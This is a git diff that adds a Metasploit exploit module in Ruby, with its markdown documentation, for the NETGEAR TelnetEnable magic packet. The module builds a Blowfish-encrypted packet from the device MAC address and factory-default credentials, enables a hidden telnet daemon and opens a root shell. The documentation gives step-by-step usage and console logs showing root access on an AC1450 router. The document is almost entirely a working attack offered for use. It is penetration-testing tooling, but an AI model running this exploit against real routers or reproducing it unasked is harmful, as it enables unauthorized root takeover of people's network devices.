diff --git a/documentation/modules/exploit/linux/telnet/netgear_telnetenable.md b/documentation/modules/exploit/linux/telnet/netgear_telnetenable.md new file mode 100644 index 0000000000..c046e435e8 --- /dev/null +++ b/documentation/modules/exploit/linux/telnet/netgear_telnetenable.md @@ -0,0 +1,153 @@ +## Intro + +Several models of Netgear devices have a hidden telnet daemon that can be +enabled for remote LAN users by sending a 'magic packet' to the device. +Upon successful connect, a root shell should be presented to the user. + +There are many devices which contain this daemon, for a full list see [OpenWrt](https://wiki.openwrt.org/toh/netgear/telnet.console). + +This module has been successfully tested against: + + - AC1450 - unknown older firmware (TCP) + - AC1450 - latest firmware: V1.0.0.36_10.0.17 (UDP) + - N300 WNR2000 v3 - firmware: V1.1.2.10 (TCP) + +## Setup + +A MAC address is required for exploitation. To determine the MAC address of the device: + +1. Ping the device to force an ARP lookup: ```ping -c 1 [IP]``` +2. Get the MAC: ```arp -an [IP]``` + +If you are the root user, you can skip this step. ARP will be leveraged +to find the MAC address. + +## Targets + +**0 (Automatic)** + +Detect if a device listens on TCP or UDP. + +**1 (TCP)** + +Older devices usually listen on TCP. + +**2 (UDP)** + +Newer devices usually listen on UDP. + +## Options + +**MAC** + +Set this to the MAC address of the device. You can use `ping` and `arp` +to find it. + +You can leave this blank if you're root. + +**USERNAME** + +If this is an older device, it'll take the value of `super_username` in +`nvram`, which is usually unchanged from `Gearguy`. + +If this is a newer device, it'll take the web UI username, which is +usually unchanged from `admin`. + +You can leave this blank to use the default username. + +**PASSWORD** + +If this is an older device, it'll take the value of `super_passwd` in +`nvram`, which is usually unchanged from `Geardog`. + +If this is a newer device, it'll take the web UI password, which is +usually unchanged from `password`. + +You can leave this blank to use the default password. + +## Exploitation + +1. Make sure you have a vulnerable device +2. Start metasploit +3. ```use exploit/linux/telnet/netgear_telnetenable``` +4. ```set rhost [IP]``` +5. ```set mac [MAC Address]``` if not running as root +6. ```exploit``` +7. Enjoy a root shell! + +## Usage + +### AC1450 + +As a normal user: + +``` +msf5 > use exploit/linux/telnet/netgear_telnetenable +msf5 exploit(linux/telnet/netgear_telnetenable) > set rhost 192.168.1.1 +rhost => 192.168.1.1 +msf5 exploit(linux/telnet/netgear_telnetenable) > ping -c 1 192.168.1.1 +[*] exec: ping -c 1 192.168.1.1 + +PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data. +64 bytes from 192.168.1.1: icmp_seq=1 ttl=64 time=2.04 ms + +--- 192.168.1.1 ping statistics --- +1 packets transmitted, 1 received, 0% packet loss, time 0ms +rtt min/avg/max/mdev = 2.041/2.041/2.041/0.000 ms +msf5 exploit(linux/telnet/netgear_telnetenable) > arp -an 192.168.1.1 +[*] exec: arp -an 192.168.1.1 + +? (192.168.1.1) at [redacted] [ether] on wlan0 +msf5 exploit(linux/telnet/netgear_telnetenable) > set mac [redacted] +mac => [redacted] +msf5 exploit(linux/telnet/netgear_telnetenable) > run + +[+] 192.168.1.1:23 - Detected telnetenabled on UDP +[+] 192.168.1.1:23 - Using creds admin:password +[*] 192.168.1.1:23 - Generating magic packet +[*] 192.168.1.1:23 - Connecting to telnetenabled via UDP +[*] 192.168.1.1:23 - Sending magic packet +[*] 192.168.1.1:23 - Disconnecting from telnetenabled +[*] 192.168.1.1:23 - Waiting for telnetd +[*] 192.168.1.1:23 - Connecting to telnetd +[*] Found shell. +[*] Command shell session 1 opened (192.168.1.3:34833 -> 192.168.1.1:23) at 2018-03-02 19:26:25 -0600 + +id +id +uid=0 gid=0(root) +# uname -a +uname -a +Linux (none) 2.6.36.4brcmarm+ #16 SMP PREEMPT Wed Mar 22 15:02:38 CST 2017 armv7l unknown +# +``` + +As root: + +``` +msf5 > use exploit/linux/telnet/netgear_telnetenable +msf5 exploit(linux/telnet/netgear_telnetenable) > set rhost 192.168.1.1 +rhost => 192.168.1.1 +rmsf5 exploit(linux/telnet/netgear_telnetenable) > run + +[+] 192.168.1.1:23 - Detected telnetenabled on UDP +[*] 192.168.1.1:23 - Attempting to discover MAC address via ARP +[+] 192.168.1.1:23 - Found MAC address [redacted] +[+] 192.168.1.1:23 - Using creds admin:password +[*] 192.168.1.1:23 - Generating magic packet +[*] 192.168.1.1:23 - Connecting to telnetenabled via UDP +[*] 192.168.1.1:23 - Sending magic packet +[*] 192.168.1.1:23 - Disconnecting from telnetenabled +[*] 192.168.1.1:23 - Waiting for telnetd +[*] 192.168.1.1:23 - Connecting to telnetd +[*] Found shell. +[*] Command shell session 1 opened (192.168.1.2:37771 -> 192.168.1.1:23) at 2018-03-02 19:33:42 -0600 + +id +id +uid=0 gid=0(root) +# uname -a +uname -a +Linux (none) 2.6.36.4brcmarm+ #16 SMP PREEMPT Wed Mar 22 15:02:38 CST 2017 armv7l unknown +# +``` diff --git a/modules/exploits/linux/telnet/netgear_telnetenable.rb b/modules/exploits/linux/telnet/netgear_telnetenable.rb new file mode 100644 index 0000000000..99fb159296 --- /dev/null +++ b/modules/exploits/linux/telnet/netgear_telnetenable.rb @@ -0,0 +1,242 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Udp + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Capture + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'NETGEAR TelnetEnable', + 'Description' => %q{ + This module sends a magic packet to a NETGEAR device to enable telnetd. + Upon successful connect, a root shell should be presented to the user. + }, + 'Author' => [ + 'Paul Gebheim', # Python PoC (TCP) + 'insanid', # Python PoC (UDP) + 'wvu', # Metasploit module + ], + 'References' => [ + ['URL', 'https://wiki.openwrt.org/toh/netgear/telnet.console'], + ['URL', 'https://github.com/cyanitol/netgear-telenetenable'], + ['URL', 'https://github.com/insanid/netgear-telenetenable'] + ], + 'DisclosureDate' => 'Oct 30 2009', # Python PoC (TCP) + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Privileged' => true, + 'Payload' => { + 'Compat' => { + 'PayloadType' => 'cmd_interact', + 'ConnectionType' => 'find' + } + }, + 'Targets' => [ + ['Automatic (detect TCP or UDP)', + proto: :auto + ], + ['TCP (typically older devices)', + proto: :tcp, + username: 'Gearguy', + password: 'Geardog' + ], + ['UDP (typically newer devices)', + proto: :udp, + username: 'admin', + password: 'password' + ] + ], + 'DefaultTarget' => 0 + )) + + register_options([ + Opt::RPORT(23), + OptString.new('MAC', [false, 'MAC address of device']), + OptString.new('USERNAME', [false, 'Username on device']), + OptString.new('PASSWORD', [false, 'Password on device']) + ]) + end + + def check + # Run through protocol detection + detect_proto + + # This is a gamble, but it's the closest we can get + if @proto == :tcp + CheckCode::Detected + else + CheckCode::Unknown + end + end + + def exploit + # Try to do the exploit unless telnetd is detected + @do_exploit = true + + # Detect TCP or UDP and presence of telnetd + @proto = target[:proto] + detect_proto if @proto == :auto + + # Use supplied or ARP-cached MAC address + configure_mac if @do_exploit + + # Use supplied or default creds + configure_creds if @do_exploit + + # Shell it + exploit_telnetenabled if @do_exploit + connect_telnetd + end + + def detect_proto + begin + connect + + res = begin + sock.get_once || '' + rescue EOFError + '' + end + + # telnetenabled returns no data, unlike telnetd + if res.length == 0 + print_good('Detected telnetenabled on TCP') + else + print_good('Detected telnetd on TCP') + @do_exploit = false + end + + @proto = :tcp + # It's UDP... and we may not get an ICMP error... + rescue Rex::ConnectionError + print_good('Detected telnetenabled on UDP') + @proto = :udp + ensure + disconnect + end + end + + def configure_mac + @mac = datastore['MAC'] + + return if @mac + + print_status('Attempting to discover MAC address via ARP') + + begin + open_pcap + @mac = lookup_eth(rhost).first + rescue RuntimeError + fail_with(Failure::BadConfig, 'Superuser access required') + ensure + close_pcap + end + + if @mac + print_good("Found MAC address #{@mac}") + else + fail_with(Failure::Unknown, 'Could not find MAC address') + end + end + + def configure_creds + @username = datastore['USERNAME'] || target[:username] + @password = datastore['PASSWORD'] || target[:password] + + # Try to use default creds if no creds were found + unless @username && @password + tgt = targets.find { |t| t[:proto] == @proto } + @username = tgt[:username] + @password = tgt[:password] + end + + print_good("Using creds #{@username}:#{@password}") + end + + def exploit_telnetenabled + print_status('Generating magic packet') + payload = magic_packet(@mac, @username, @password) + + begin + print_status("Connecting to telnetenabled via #{@proto.upcase}") + @proto == :tcp ? connect : connect_udp + print_status('Sending magic packet') + @proto == :tcp ? sock.put(payload) : udp_sock.put(payload) + rescue Rex::ConnectionError + fail_with(Failure::Disconnected, 'Something happened mid-connection!') + ensure + print_status('Disconnecting from telnetenabled') + @proto == :tcp ? disconnect : disconnect_udp + end + + # Wait a couple seconds for telnetd to come up + print_status('Waiting for telnetd') + sleep(2) + end + + def connect_telnetd + print_status('Connecting to telnetd') + connect + handler(sock) + end + + # NOTE: This is almost a verbatim copy of the Python PoC + def magic_packet(mac, username, password) + mac = mac.gsub(/[:-]/, '').upcase + + if mac.length != 12 + fail_with(Failure::BadConfig, 'MAC must be 12 bytes without : or -') + end + just_mac = mac.ljust(0x10, "\x00") + + if username.length > 0x10 + fail_with(Failure::BadConfig, 'USERNAME must be <= 16 bytes') + end + just_username = username.ljust(0x10, "\x00") + + if @proto == :tcp + if password.length > 0x10 + fail_with(Failure::BadConfig, 'PASSWORD must be <= 16 bytes') + end + just_password = password.ljust(0x10, "\x00") + elsif @proto == :udp + # Thanks to Roberto Frenna for the reserved field analysis + if password.length > 0x21 + fail_with(Failure::BadConfig, 'PASSWORD must be <= 33 bytes') + end + just_password = password.ljust(0x21, "\x00") + end + + cleartext = (just_mac + just_username + just_password).ljust(0x70, "\x00") + md5_key = Rex::Text.md5_raw(cleartext) + + payload = byte_swap((md5_key + cleartext).ljust(0x80, "\x00")) + + secret_key = 'AMBIT_TELNET_ENABLE+' + password + + byte_swap(blowfish_encrypt(secret_key, payload)) + end + + def blowfish_encrypt(secret_key, payload) + cipher = OpenSSL::Cipher.new('bf-ecb').encrypt + + cipher.padding = 0 + cipher.key_len = secret_key.length + cipher.key = secret_key + + cipher.update(payload) + cipher.final + end + + def byte_swap(data) + data.unpack('N*').pack('V*') + end + +end